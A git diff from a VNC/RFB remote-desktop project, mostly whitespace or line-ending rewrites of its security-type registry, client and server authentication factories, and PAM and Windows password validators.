+ enabledSecTypes.push_back(typeNum); + } +} + +const std::list Security::GetEnabledSecTypes(void) +{ + std::list result; + + /* Partial workaround for Vino's stupid behaviour. It doesn't allow + * the basic authentication types as part of the VeNCrypt handshake, + * making it impossible for a client to do opportunistic encryption. + * At least make it possible to connect when encryption is explicitly + * disabled. */ + for (uint32_t type : enabledSecTypes) { + if (type >= 0x100) { + result.push_back(secTypeVeNCrypt); + break; + } + } + + for (uint32_t type : enabledSecTypes) + if (type < 0x100) + result.push_back(type); + + return result; +} + +const std::list Security::GetEnabledExtSecTypes(void) +{ + std::list result; + + for (uint32_t type : enabledSecTypes) + if (type != secTypeVeNCrypt) /* Do not include VeNCrypt type to avoid loops */ + result.push_back(type); + + return result; +} + +void Security::EnableSecType(uint32_t secType) +{ + if (std::find(enabledSecTypes.begin(), enabledSecTypes.end(), + secType) != enabledSecTypes.end()) + return; + + enabledSecTypes.push_back(secType); +} + +bool Security::IsSupported(uint32_t secType) +{ + if (std::find(enabledSecTypes.begin(), enabledSecTypes.end(), + secType) != enabledSecTypes.end()) + return true; + if (secType == secTypeVeNCrypt) + return true; + + return false; +} + +char *Security::ToString(void) +{ + static char out[128]; /* Should be enough */ + bool firstpass = true; + const char *name; + + memset(out, 0, sizeof(out)); + + for (uint32_t type : enabledSecTypes) { + name = secTypeName(type); + if (name[0] == '[') /* Unknown security type */ + continue; + + if (!firstpass) + strncat(out, ",", sizeof(out) - 1); + else + firstpass = false; + strncat(out, name, sizeof(out) - 1); + } + + return out; +} + +uint32_t rfb::secTypeNum(const char* name) +{ + if (strcasecmp(name, "None") == 0) return secTypeNone; + if (strcasecmp(name, "VncAuth") == 0) return secTypeVncAuth; + if (strcasecmp(name, "Tight") == 0) return secTypeTight; + if (strcasecmp(name, "RA2") == 0) return secTypeRA2; + if (strcasecmp(name, "RA2ne") == 0) return secTypeRA2ne; + if (strcasecmp(name, "RA2_256") == 0) return secTypeRA256; + if (strcasecmp(name, "RA2ne_256") == 0) return secTypeRAne256; + if (strcasecmp(name, "SSPI") == 0) return secTypeSSPI; + if (strcasecmp(name, "SSPIne") == 0) return secTypeSSPIne; + if (strcasecmp(name, "VeNCrypt") == 0) return secTypeVeNCrypt; + if (strcasecmp(name, "DH") == 0) return secTypeDH; + if (strcasecmp(name, "MSLogonII") == 0) return secTypeMSLogonII; + + /* VeNCrypt subtypes */ + if (strcasecmp(name, "Plain") == 0) return secTypePlain; + if (strcasecmp(name, "TLSNone") == 0) return secTypeTLSNone; + if (strcasecmp(name, "TLSVnc") == 0) return secTypeTLSVnc; + if (strcasecmp(name, "TLSPlain") == 0) return secTypeTLSPlain; + if (strcasecmp(name, "X509None") == 0) return secTypeX509None; + if (strcasecmp(name, "X509Vnc") == 0) return secTypeX509Vnc; + if (strcasecmp(name, "X509Plain") == 0) return secTypeX509Plain; + + return secTypeInvalid; +} + +const char* rfb::secTypeName(uint32_t num) +{ + switch (num) { + case secTypeNone: return "None"; + case secTypeVncAuth: return "VncAuth"; + case secTypeTight: return "Tight"; + case secTypeRA2: return "RA2"; + case secTypeRA2ne: return "RA2ne"; + case secTypeRA256: return "RA2_256"; + case secTypeRAne256: return "RA2ne_256"; + case secTypeSSPI: return "SSPI"; + case secTypeSSPIne: return "SSPIne"; + case secTypeVeNCrypt: return "VeNCrypt"; + case secTypeDH: return "DH"; + case secTypeMSLogonII: return "MSLogonII"; + + /* VeNCrypt subtypes */ + case secTypePlain: return "Plain"; + case secTypeTLSNone: return "TLSNone"; + case secTypeTLSVnc: return "TLSVnc"; + case secTypeTLSPlain: return "TLSPlain"; + case secTypeX509None: return "X509None"; + case secTypeX509Vnc: return "X509Vnc"; + case secTypeX509Plain: return "X509Plain"; + default: return "[unknown secType]"; + } +} diff --git a/T2SRFB/common/rfb/SecurityClient.cxx b/T2SRFB/common/rfb/SecurityClient.cxx index d7c0f2c..55bd543 100644 --- a/T2SRFB/common/rfb/SecurityClient.cxx +++ b/T2SRFB/common/rfb/SecurityClient.cxx @@ -1,127 +1,127 @@ -/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include - -#include - -#include - -#include -#include -#include -#include -#include -#include -#include -#ifdef HAVE_GNUTLS -#include -#endif -#ifdef HAVE_NETTLE -#include -#include -#include -#endif - -using namespace rfb; - -core::EnumListParameter SecurityClient::secTypes -("SecurityTypes", - "Specify which security scheme to use (None, VncAuth, Plain" -#ifdef HAVE_GNUTLS - ", TLSNone, TLSVnc, TLSPlain, X509None, X509Vnc, X509Plain" -#endif -#ifdef HAVE_NETTLE - ", RA2, RA2ne, RA2_256, RA2ne_256, DH, MSLogonII" -#endif - ")", - { "None", "VncAuth", "Plain", -#ifdef HAVE_GNUTLS - "TLSNone", "TLSVnc", "TLSPlain", "X509None", "X509Vnc", "X509Plain", -#endif -#ifdef HAVE_NETTLE - "RA2", "RA2ne", "RA2_256", "RA2ne_256", "DH", "MSLogonII", -#endif - }, - { "None", "VncAuth", "Plain", -#ifdef HAVE_GNUTLS - "TLSNone", "TLSVnc", "TLSPlain", "X509None", "X509Vnc", "X509Plain", -#endif -#ifdef HAVE_NETTLE - "RA2", "RA2ne", "RA2_256", "RA2ne_256", "DH", "MSLogonII", -#endif - }); - -CSecurity* SecurityClient::GetCSecurity(CConnection* cc, uint32_t secType) -{ - if (!IsSupported(secType)) - goto bail; - - switch (secType) { - case secTypeNone: return new CSecurityNone(cc); - case secTypeVncAuth: return new CSecurityVncAuth(cc); - case secTypeVeNCrypt: return new CSecurityVeNCrypt(cc, this); - case secTypePlain: return new CSecurityPlain(cc); -#ifdef HAVE_GNUTLS - case secTypeTLSNone: - return new CSecurityStack(cc, secTypeTLSNone, - new CSecurityTLS(cc, true)); - case secTypeTLSVnc: - return new CSecurityStack(cc, secTypeTLSVnc, - new CSecurityTLS(cc, true), - new CSecurityVncAuth(cc)); - case secTypeTLSPlain: - return new CSecurityStack(cc, secTypeTLSPlain, - new CSecurityTLS(cc, true), - new CSecurityPlain(cc)); - case secTypeX509None: - return new CSecurityStack(cc, secTypeX509None, - new CSecurityTLS(cc, false)); - case secTypeX509Vnc: - return new CSecurityStack(cc, secTypeX509Vnc, - new CSecurityTLS(cc, false), - new CSecurityVncAuth(cc)); - case secTypeX509Plain: - return new CSecurityStack(cc, secTypeX509Plain, - new CSecurityTLS(cc, false), - new CSecurityPlain(cc)); -#endif -#ifdef HAVE_NETTLE - case secTypeRA2: - return new CSecurityRSAAES(cc, secTypeRA2, 128, true); - case secTypeRA2ne: - return new CSecurityRSAAES(cc, secTypeRA2ne, 128, false); - case secTypeRA256: - return new CSecurityRSAAES(cc, secTypeRA256, 256, true); - case secTypeRAne256: - return new CSecurityRSAAES(cc, secTypeRAne256, 256, false); - case secTypeDH: - return new CSecurityDH(cc); - case secTypeMSLogonII: - return new CSecurityMSLogonII(cc); -#endif - } - -bail: - throw std::invalid_argument("Security type not supported"); -} +/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include + +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#ifdef HAVE_GNUTLS +#include +#endif +#ifdef HAVE_NETTLE +#include +#include +#include +#endif + +using namespace rfb; + +core::EnumListParameter SecurityClient::secTypes +("SecurityTypes", + "Specify which security scheme to use (None, VncAuth, Plain" +#ifdef HAVE_GNUTLS + ", TLSNone, TLSVnc, TLSPlain, X509None, X509Vnc, X509Plain" +#endif +#ifdef HAVE_NETTLE + ", RA2, RA2ne, RA2_256, RA2ne_256, DH, MSLogonII" +#endif + ")", + { "None", "VncAuth", "Plain", +#ifdef HAVE_GNUTLS + "TLSNone", "TLSVnc", "TLSPlain", "X509None", "X509Vnc", "X509Plain", +#endif +#ifdef HAVE_NETTLE + "RA2", "RA2ne", "RA2_256", "RA2ne_256", "DH", "MSLogonII", +#endif + }, + { "None", "VncAuth", "Plain", +#ifdef HAVE_GNUTLS + "TLSNone", "TLSVnc", "TLSPlain", "X509None", "X509Vnc", "X509Plain", +#endif +#ifdef HAVE_NETTLE + "RA2", "RA2ne", "RA2_256", "RA2ne_256", "DH", "MSLogonII", +#endif + }); + +CSecurity* SecurityClient::GetCSecurity(CConnection* cc, uint32_t secType) +{ + if (!IsSupported(secType)) + goto bail; + + switch (secType) { + case secTypeNone: return new CSecurityNone(cc); + case secTypeVncAuth: return new CSecurityVncAuth(cc); + case secTypeVeNCrypt: return new CSecurityVeNCrypt(cc, this); + case secTypePlain: return new CSecurityPlain(cc); +#ifdef HAVE_GNUTLS + case secTypeTLSNone: + return new CSecurityStack(cc, secTypeTLSNone, + new CSecurityTLS(cc, true)); + case secTypeTLSVnc: + return new CSecurityStack(cc, secTypeTLSVnc, + new CSecurityTLS(cc, true), + new CSecurityVncAuth(cc)); + case secTypeTLSPlain: + return new CSecurityStack(cc, secTypeTLSPlain, + new CSecurityTLS(cc, true), + new CSecurityPlain(cc)); + case secTypeX509None: + return new CSecurityStack(cc, secTypeX509None, + new CSecurityTLS(cc, false)); + case secTypeX509Vnc: + return new CSecurityStack(cc, secTypeX509Vnc, + new CSecurityTLS(cc, false), + new CSecurityVncAuth(cc)); + case secTypeX509Plain: + return new CSecurityStack(cc, secTypeX509Plain, + new CSecurityTLS(cc, false), + new CSecurityPlain(cc)); +#endif +#ifdef HAVE_NETTLE + case secTypeRA2: + return new CSecurityRSAAES(cc, secTypeRA2, 128, true); + case secTypeRA2ne: + return new CSecurityRSAAES(cc, secTypeRA2ne, 128, false); + case secTypeRA256: + return new CSecurityRSAAES(cc, secTypeRA256, 256, true); + case secTypeRAne256: + return new CSecurityRSAAES(cc, secTypeRAne256, 256, false); + case secTypeDH: + return new CSecurityDH(cc); + case secTypeMSLogonII: + return new CSecurityMSLogonII(cc); +#endif + } + +bail: + throw std::invalid_argument("Security type not supported"); +} diff --git a/T2SRFB/common/rfb/SecurityServer.cxx b/T2SRFB/common/rfb/SecurityServer.cxx index 0984fff..e5f7f48 100644 --- a/T2SRFB/common/rfb/SecurityServer.cxx +++ b/T2SRFB/common/rfb/SecurityServer.cxx @@ -1,106 +1,106 @@ -/* - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include - -#include -#include - -#include -#include -#include -#include -#include -#ifdef HAVE_GNUTLS -#include -#endif -#ifdef HAVE_NETTLE -#include -#endif - -using namespace rfb; - -core::EnumListParameter SecurityServer::secTypes -("SecurityTypes", - "Specify which security scheme to use (None, VncAuth, Plain" -#ifdef HAVE_GNUTLS - ", TLSNone, TLSVnc, TLSPlain, X509None, X509Vnc, X509Plain" -#endif -#ifdef HAVE_NETTLE - ", RA2, RA2ne, RA2_256, RA2ne_256" -#endif - ")", - { "None", "VncAuth", "Plain", -#ifdef HAVE_GNUTLS - "TLSNone", "TLSVnc", "TLSPlain", "X509None", "X509Vnc", "X509Plain", -#endif -#ifdef HAVE_NETTLE - "RA2", "RA2ne", "RA2_256", "RA2ne_256", -#endif - }, - { -#ifdef HAVE_GNUTLS - "TLSVnc", -#endif - "VncAuth"}); - -SSecurity* SecurityServer::GetSSecurity(SConnection* sc, uint32_t secType) -{ - if (!IsSupported(secType)) - goto bail; - - switch (secType) { - case secTypeNone: return new SSecurityNone(sc); - case secTypeVncAuth: return new SSecurityVncAuth(sc); - case secTypeVeNCrypt: return new SSecurityVeNCrypt(sc, this); - case secTypePlain: return new SSecurityPlain(sc); -#ifdef HAVE_GNUTLS - case secTypeTLSNone: - return new SSecurityStack(sc, secTypeTLSNone, new SSecurityTLS(sc, true)); - case secTypeTLSVnc: - return new SSecurityStack(sc, secTypeTLSVnc, new SSecurityTLS(sc, true), new SSecurityVncAuth(sc)); - case secTypeTLSPlain: - return new SSecurityStack(sc, secTypeTLSPlain, new SSecurityTLS(sc, true), new SSecurityPlain(sc)); - case secTypeX509None: - return new SSecurityStack(sc, secTypeX509None, new SSecurityTLS(sc, false)); - case secTypeX509Vnc: - return new SSecurityStack(sc, secTypeX509None, new SSecurityTLS(sc, false), new SSecurityVncAuth(sc)); - case secTypeX509Plain: - return new SSecurityStack(sc, secTypeX509Plain, new SSecurityTLS(sc, false), new SSecurityPlain(sc)); -#endif -#ifdef HAVE_NETTLE - case secTypeRA2: - return new SSecurityRSAAES(sc, secTypeRA2, 128, true); - case secTypeRA2ne: - return new SSecurityRSAAES(sc, secTypeRA2ne, 128, false); - case secTypeRA256: - return new SSecurityRSAAES(sc, secTypeRA256, 256, true); - case secTypeRAne256: - return new SSecurityRSAAES(sc, secTypeRAne256, 256, false); -#endif - } - -bail: - throw std::invalid_argument("Security type not supported"); -} - +/* + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include + +#include +#include + +#include +#include +#include +#include +#include +#ifdef HAVE_GNUTLS +#include +#endif +#ifdef HAVE_NETTLE +#include +#endif + +using namespace rfb; + +core::EnumListParameter SecurityServer::secTypes +("SecurityTypes", + "Specify which security scheme to use (None, VncAuth, Plain" +#ifdef HAVE_GNUTLS + ", TLSNone, TLSVnc, TLSPlain, X509None, X509Vnc, X509Plain" +#endif +#ifdef HAVE_NETTLE + ", RA2, RA2ne, RA2_256, RA2ne_256" +#endif + ")", + { "None", "VncAuth", "Plain", +#ifdef HAVE_GNUTLS + "TLSNone", "TLSVnc", "TLSPlain", "X509None", "X509Vnc", "X509Plain", +#endif +#ifdef HAVE_NETTLE + "RA2", "RA2ne", "RA2_256", "RA2ne_256", +#endif + }, + { +#ifdef HAVE_GNUTLS + "TLSVnc", +#endif + "VncAuth"}); + +SSecurity* SecurityServer::GetSSecurity(SConnection* sc, uint32_t secType) +{ + if (!IsSupported(secType)) + goto bail; + + switch (secType) { + case secTypeNone: return new SSecurityNone(sc); + case secTypeVncAuth: return new SSecurityVncAuth(sc); + case secTypeVeNCrypt: return new SSecurityVeNCrypt(sc, this); + case secTypePlain: return new SSecurityPlain(sc); +#ifdef HAVE_GNUTLS + case secTypeTLSNone: + return new SSecurityStack(sc, secTypeTLSNone, new SSecurityTLS(sc, true)); + case secTypeTLSVnc: + return new SSecurityStack(sc, secTypeTLSVnc, new SSecurityTLS(sc, true), new SSecurityVncAuth(sc)); + case secTypeTLSPlain: + return new SSecurityStack(sc, secTypeTLSPlain, new SSecurityTLS(sc, true), new SSecurityPlain(sc)); + case secTypeX509None: + return new SSecurityStack(sc, secTypeX509None, new SSecurityTLS(sc, false)); + case secTypeX509Vnc: + return new SSecurityStack(sc, secTypeX509None, new SSecurityTLS(sc, false), new SSecurityVncAuth(sc)); + case secTypeX509Plain: + return new SSecurityStack(sc, secTypeX509Plain, new SSecurityTLS(sc, false), new SSecurityPlain(sc)); +#endif +#ifdef HAVE_NETTLE + case secTypeRA2: + return new SSecurityRSAAES(sc, secTypeRA2, 128, true); + case secTypeRA2ne: + return new SSecurityRSAAES(sc, secTypeRA2ne, 128, false); + case secTypeRA256: + return new SSecurityRSAAES(sc, secTypeRA256, 256, true); + case secTypeRAne256: + return new SSecurityRSAAES(sc, secTypeRAne256, 256, false); +#endif + } + +bail: + throw std::invalid_argument("Security type not supported"); +} + diff --git a/T2SRFB/common/rfb/SecurityServer.h b/T2SRFB/common/rfb/SecurityServer.h index d33be50..69fac32 100644 --- a/T2SRFB/common/rfb/SecurityServer.h +++ b/T2SRFB/common/rfb/SecurityServer.h @@ -1,42 +1,42 @@ -/* - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifndef __RFB_SECURITYSERVER_H__ -#define __RFB_SECURITYSERVER_H__ - -#include - -namespace rfb { - - class SConnection; - class SSecurity; - - class SecurityServer : public Security { - public: - SecurityServer(void) : Security(secTypes) {} - - /* Create server side SSecurity class instance */ - SSecurity* GetSSecurity(SConnection* sc, uint32_t secType); - - static core::EnumListParameter secTypes; - }; - -} - -#endif +/* + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef __RFB_SECURITYSERVER_H__ +#define __RFB_SECURITYSERVER_H__ + +#include + +namespace rfb { + + class SConnection; + class SSecurity; + + class SecurityServer : public Security { + public: + SecurityServer(void) : Security(secTypes) {} + + /* Create server side SSecurity class instance */ + SSecurity* GetSSecurity(SConnection* sc, uint32_t secType); + + static core::EnumListParameter secTypes; + }; + +} + +#endif diff --git a/T2SRFB/common/rfb/UnixPasswordValidator.cxx b/T2SRFB/common/rfb/UnixPasswordValidator.cxx index 1932f38..1beb889 100644 --- a/T2SRFB/common/rfb/UnixPasswordValidator.cxx +++ b/T2SRFB/common/rfb/UnixPasswordValidator.cxx @@ -1,140 +1,140 @@ -/* - * Copyright (C) 2006 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include -#include -#include - -#include -#include - -#include - -using namespace rfb; - -static core::LogWriter vlog("UnixPasswordValidator"); - -static core::StringParameter pamService - ("PAMService", "Service name for PAM password validation", "vnc"); -core::AliasParameter pam_service("pam_service", "Alias for PAMService", - &pamService); - -std::string UnixPasswordValidator::displayName; - -typedef struct -{ - const char *username; - const char *password; - std::string &msg; -} AuthData; - -#if defined(__sun) -static int pam_callback(int count, struct pam_message **in, - struct pam_response **out, void *ptr) -#else -static int pam_callback(int count, const struct pam_message **in, - struct pam_response **out, void *ptr) -#endif -{ - int i; - AuthData *auth = (AuthData *) ptr; - struct pam_response *resp = - (struct pam_response *) malloc (sizeof (struct pam_response) * count); - - if (!resp && count) - return PAM_CONV_ERR; - - for (i = 0; i < count; i++) { - resp[i].resp_retcode = PAM_SUCCESS; - switch (in[i]->msg_style) { - case PAM_TEXT_INFO: - vlog.info("%s info: %s", (const char *) pamService, in[i]->msg); - auth->msg = in[i]->msg; - resp[i].resp = nullptr; - break; - case PAM_ERROR_MSG: - vlog.error("%s error: %s", (const char *) pamService, in[i]->msg); - auth->msg = in[i]->msg; - resp[i].resp = nullptr; - break; - case PAM_PROMPT_ECHO_ON: /* Send Username */ - resp[i].resp = strdup(auth->username); - break; - case PAM_PROMPT_ECHO_OFF: /* Send Password */ - resp[i].resp = strdup(auth->password); - break; - default: - free(resp); - return PAM_CONV_ERR; - } - } - - *out = resp; - return PAM_SUCCESS; -} - -bool UnixPasswordValidator::validateInternal(SConnection * /* sc */, - const char *username, - const char *password, - std::string &msg) -{ - int ret; - AuthData auth = { username, password, msg }; - struct pam_conv conv = { - pam_callback, - &auth - }; - pam_handle_t *pamh = nullptr; - ret = pam_start(pamService, username, &conv, &pamh); - if (ret != PAM_SUCCESS) { - /* Can't call pam_strerror() here because the content of pamh undefined */ - vlog.error("pam_start(%s) failed: %d", (const char *) pamService, ret); - return false; - } -#ifdef PAM_XDISPLAY - /* At this point, displayName should never be empty */ - assert(displayName.length() > 0); - /* Pass the display name to PAM modules but PAM_XDISPLAY may not be - * recognized by modules built with old versions of PAM */ - ret = pam_set_item(pamh, PAM_XDISPLAY, displayName.c_str()); - if (ret != PAM_SUCCESS && ret != PAM_BAD_ITEM) { - vlog.error("pam_set_item(PAM_XDISPLAY) failed: %d (%s)", ret, pam_strerror(pamh, ret)); - goto error; - } -#endif - ret = pam_authenticate(pamh, 0); - if (ret != PAM_SUCCESS) { - vlog.error("pam_authenticate() failed: %d (%s)", ret, pam_strerror(pamh, ret)); - goto error; - } - ret = pam_acct_mgmt(pamh, 0); - if (ret != PAM_SUCCESS) { - vlog.error("pam_acct_mgmt() failed: %d (%s)", ret, pam_strerror(pamh, ret)); - goto error; - } - return true; -error: - pam_end(pamh, ret); - return false; -} +/* + * Copyright (C) 2006 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include +#include + +#include +#include + +#include + +using namespace rfb; + +static core::LogWriter vlog("UnixPasswordValidator"); + +static core::StringParameter pamService + ("PAMService", "Service name for PAM password validation", "vnc"); +core::AliasParameter pam_service("pam_service", "Alias for PAMService", + &pamService); + +std::string UnixPasswordValidator::displayName; + +typedef struct +{ + const char *username; + const char *password; + std::string &msg; +} AuthData; + +#if defined(__sun) +static int pam_callback(int count, struct pam_message **in, + struct pam_response **out, void *ptr) +#else +static int pam_callback(int count, const struct pam_message **in, + struct pam_response **out, void *ptr) +#endif +{ + int i; + AuthData *auth = (AuthData *) ptr; + struct pam_response *resp = + (struct pam_response *) malloc (sizeof (struct pam_response) * count); + + if (!resp && count) + return PAM_CONV_ERR; + + for (i = 0; i < count; i++) { + resp[i].resp_retcode = PAM_SUCCESS; + switch (in[i]->msg_style) { + case PAM_TEXT_INFO: + vlog.info("%s info: %s", (const char *) pamService, in[i]->msg); + auth->msg = in[i]->msg; + resp[i].resp = nullptr; + break; + case PAM_ERROR_MSG: + vlog.error("%s error: %s", (const char *) pamService, in[i]->msg); + auth->msg = in[i]->msg; + resp[i].resp = nullptr; + break; + case PAM_PROMPT_ECHO_ON: /* Send Username */ + resp[i].resp = strdup(auth->username); + break; + case PAM_PROMPT_ECHO_OFF: /* Send Password */ + resp[i].resp = strdup(auth->password); + break; + default: + free(resp); + return PAM_CONV_ERR; + } + } + + *out = resp; + return PAM_SUCCESS; +} + +bool UnixPasswordValidator::validateInternal(SConnection * /* sc */, + const char *username, + const char *password, + std::string &msg) +{ + int ret; + AuthData auth = { username, password, msg }; + struct pam_conv conv = { + pam_callback, + &auth + }; + pam_handle_t *pamh = nullptr; + ret = pam_start(pamService, username, &conv, &pamh); + if (ret != PAM_SUCCESS) { + /* Can't call pam_strerror() here because the content of pamh undefined */ + vlog.error("pam_start(%s) failed: %d", (const char *) pamService, ret); + return false; + } +#ifdef PAM_XDISPLAY + /* At this point, displayName should never be empty */ + assert(displayName.length() > 0); + /* Pass the display name to PAM modules but PAM_XDISPLAY may not be + * recognized by modules built with old versions of PAM */ + ret = pam_set_item(pamh, PAM_XDISPLAY, displayName.c_str()); + if (ret != PAM_SUCCESS && ret != PAM_BAD_ITEM) { + vlog.error("pam_set_item(PAM_XDISPLAY) failed: %d (%s)", ret, pam_strerror(pamh, ret)); + goto error; + } +#endif + ret = pam_authenticate(pamh, 0); + if (ret != PAM_SUCCESS) { + vlog.error("pam_authenticate() failed: %d (%s)", ret, pam_strerror(pamh, ret)); + goto error; + } + ret = pam_acct_mgmt(pamh, 0); + if (ret != PAM_SUCCESS) { + vlog.error("pam_acct_mgmt() failed: %d (%s)", ret, pam_strerror(pamh, ret)); + goto error; + } + return true; +error: + pam_end(pamh, ret); + return false; +} diff --git a/T2SRFB/common/rfb/UnixPasswordValidator.h b/T2SRFB/common/rfb/UnixPasswordValidator.h index 3dfd800..1485ed9 100644 --- a/T2SRFB/common/rfb/UnixPasswordValidator.h +++ b/T2SRFB/common/rfb/UnixPasswordValidator.h @@ -1,45 +1,45 @@ -/* - * Copyright (C) 2006 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifndef __PASSWORD_VALIDATOR_H__ -#define __PASSWORD_VALIDATOR_H__ - -#include - -namespace rfb -{ - class UnixPasswordValidator: public PasswordValidator { - public: - static void setDisplayName(const std::string& display) { - displayName = display; - } - - protected: - bool validateInternal(SConnection *sc, - const char *username, - const char *password, - std::string &msg) override; - - private: - static std::string displayName; - }; -} - -#endif +/* + * Copyright (C) 2006 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef __PASSWORD_VALIDATOR_H__ +#define __PASSWORD_VALIDATOR_H__ + +#include + +namespace rfb +{ + class UnixPasswordValidator: public PasswordValidator { + public: + static void setDisplayName(const std::string& display) { + displayName = display; + } + + protected: + bool validateInternal(SConnection *sc, + const char *username, + const char *password, + std::string &msg) override; + + private: + static std::string displayName; + }; +} + +#endif diff --git a/T2SRFB/common/rfb/WinPasswdValidator.cxx b/T2SRFB/common/rfb/WinPasswdValidator.cxx index abde20f..6130e9b 100644 --- a/T2SRFB/common/rfb/WinPasswdValidator.cxx +++ b/T2SRFB/common/rfb/WinPasswdValidator.cxx @@ -1,46 +1,46 @@ -/* Copyright (C) 2005-2006 Martin Koegler - * Copyright (C) 2006 OCCAM Financial Technology - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, 